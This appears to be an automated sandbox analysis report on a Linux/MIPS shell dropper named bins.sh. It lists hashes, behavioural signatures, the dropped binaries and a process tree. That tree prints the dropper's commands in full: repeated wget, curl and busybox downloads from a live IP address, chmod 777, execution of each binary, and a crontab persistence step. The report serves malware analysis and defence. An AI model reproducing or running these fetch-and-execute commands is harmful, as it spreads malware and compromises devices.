Analysis

  • max time kernel
    123s
  • max time network
    124s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    26/11/2024, 12:12

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    fc41e96c416e7e08c67b3b8a90dc5281

  • SHA1

    2e32b0e3f9f7b76565855b1b51caefe1b5baa43f

  • SHA256

    ad854bdbc344eddc4f97eb6ac8e45f35db706a8341b459c89579ca05515c23c6

  • SHA512

    593594493042937480a0f6493a50e4eb6b6b307fd8fff7d371d1ad001146e5c771aed934cffb0693193e1bc35c691c926fd4d42edb4a3d4fccdd274ad1c0ee77

  • SSDEEP

    192:1x9NM03//ciijgqZ/XlZ/Xlii/ox9NM0t:1x9NM03//ciijgYriiQx9NM0t

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:719
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:722
        • /usr/bin/wget
          wget http://216.126.231.240/bins/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • Writes file to tmp directory
          PID:725
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:746
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • Writes file to tmp directory
          PID:749
        • /bin/chmod
          chmod 777 AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • File and Directory Permissions Modification
          PID:750
        • /tmp/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          ./AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • Executes dropped EXE
          PID:751
        • /bin/rm
          rm AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
            PID:753
          • /usr/bin/wget
            wget http://216.126.231.240/bins/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • Writes file to tmp directory
            PID:754
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:755
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • Writes file to tmp directory
            PID:756
          • /bin/chmod
            chmod 777 dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • File and Directory Permissions Modification
            PID:757
          • /tmp/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            ./dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • Executes dropped EXE
            PID:758
          • /bin/rm
            rm dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
              PID:760
            • /usr/bin/wget
              wget http://216.126.231.240/bins/dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
              2⤵
              • Writes file to tmp directory
              PID:761
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:766
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
              2⤵
              • Writes file to tmp directory
              PID:781
            • /bin/chmod
              chmod 777 dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
              2⤵
              • File and Directory Permissions Modification
              PID:788
            • /tmp/dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
              ./dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
              2⤵
              • Executes dropped EXE
              PID:789
            • /bin/rm
              rm dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
              2⤵
                PID:792
              • /usr/bin/wget
                wget http://216.126.231.240/bins/3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                2⤵
                • Writes file to tmp directory
                PID:794
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:807
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                2⤵
                • Writes file to tmp directory
                PID:815
              • /bin/chmod
                chmod 777 3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                2⤵
                • File and Directory Permissions Modification
                PID:816
              • /tmp/3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                ./3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                2⤵
                • Executes dropped EXE
                PID:817
              • /bin/rm
                rm 3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                2⤵
                  PID:819
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                  2⤵
                  • Writes file to tmp directory
                  PID:820
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:822
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                  2⤵
                  • Writes file to tmp directory
                  PID:838
                • /bin/chmod
                  chmod 777 RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                  2⤵
                  • File and Directory Permissions Modification
                  PID:847
                • /tmp/RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                  ./RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:849
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:851
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                        • Reads runtime system information
                        PID:852
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:854
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:856
                    • /bin/rm
                      rm RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                      2⤵
                        PID:863
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/r0JnMt1HbftKEeb2D72tsuEh74DLZbLvNl
                        2⤵
                          PID:867

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/3YGaELkx3gpLTglmN1gtTyntokbgCikOqG

                        Filesize

                        117KB

                        MD5

                        849fa04ef88a8e8de32cb2e8538de5fe

                        SHA1

                        c768af29fe4b6695fff1541623e8bbd1c6f242f7

                        SHA256

                        8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                        SHA512

                        2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                      • /tmp/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04

                        Filesize

                        99KB

                        MD5

                        9438d9bc392bcf300a5583b6df5bc8f6

                        SHA1

                        375a6ae34b516f6f3eeea8030c4084f585017efa

                        SHA256

                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                        SHA512

                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                      • /tmp/RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g

                        Filesize

                        151KB

                        MD5

                        3c90d5820bddcf7c5d1bd21dfa49d958

                        SHA1

                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                        SHA256

                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                        SHA512

                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                      • /tmp/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET

                        Filesize

                        127KB

                        MD5

                        89077b7bd4bcafca7713be43635c4862

                        SHA1

                        fc02edb8fba29ea8ee99e6157ef8560334530052

                        SHA256

                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                        SHA512

                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                      • /tmp/dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx

                        Filesize

                        111KB

                        MD5

                        ca897a38f23ec23521ce0b1b83f8422d

                        SHA1

                        b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                        SHA256

                        043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                        SHA512

                        10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                      • /var/spool/cron/crontabs/tmp.Ork6kg

                        Filesize

                        210B

                        MD5

                        021c624ccb8a43cc08fac8cf410a903f

                        SHA1

                        a0c116aeef19aee031a087e7156f2c161d56576f

                        SHA256

                        4b2d2b4966a245d8b31b76143ac778c16c025128678157fd0eb2659b33e88eba

                        SHA512

                        6282ba1b93f39651295c75dcab448b3a93fd36954e70808313c3782d733831f880634a6cc8b545f5730112f2533749bc1ac800a8f977a803845308a44789662a